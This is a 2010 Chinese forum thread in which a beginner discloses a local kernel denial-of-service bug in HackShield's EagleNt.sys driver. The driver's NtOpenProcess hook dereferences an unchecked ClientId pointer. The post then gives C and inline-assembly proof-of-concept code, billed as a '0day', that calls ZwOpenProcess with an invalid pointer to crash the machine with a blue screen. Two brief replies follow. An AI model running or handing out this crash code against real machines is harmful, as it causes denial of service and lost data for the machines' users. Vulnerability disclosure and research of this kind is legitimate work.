fyc132 发表于 2010-7-26 23:15

HackShield EagleNt.sys 本地内核拒绝服务漏洞

HackShield    EagleNt.sys本地内核拒绝服务漏洞

影响范围:HackShield

漏洞细节:

v26 = (int)ClientId;
InterlockedIncrement(&dword_29D10);
if ( !v26 )
goto LABEL_14;
......

xxxx(......*(_DWORD *)v26,......)
EagleNt.sys在自己的NtOpenProcess HOOK函数中参数检测不严格 ,没有验证参数的正确性就直接使用,并且没有使用SEH来捕捉函数中的异常

虽然程序有检查ClientId是否为0,但是可惜的是ClientId是一个指针(PCLIENT_IDClientId),只要我们随便传递一个不为0的非法地址就可以触发异常..

测试代码:

int main(int argc, char* argv[])
{
printf("HS 0dayBy 单行\n");
printf("请保存好你的数据,按下回车键后激活0day\n");
getchar();

GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwOpenProcess");
__asm
{
    push 1//ClientId地址
    push 0
    push 0
    push 0
    call eax
}
return 0 ;
}


以上代码运行在有HackShield驱动的机器上就可以触发蓝屏


这篇文章的格式是按照MJ0011博客里面的那种格式写的......小弟初学0DAY,有错误的地方麻烦各位大大指出.....


各位大大们别喷我,我只是个菜鸟


感言:
想不到HackShield这种“高级”产品上面,也有这种“低级”漏洞

tysan 发表于 2010-7-26 23:24

哇,内核级滴喔,看看

qq20048888 发表于 2010-7-26 23:57

太深奥了..!!!不懂
页: [1]
查看完整版本: HackShield EagleNt.sys 本地内核拒绝服务漏洞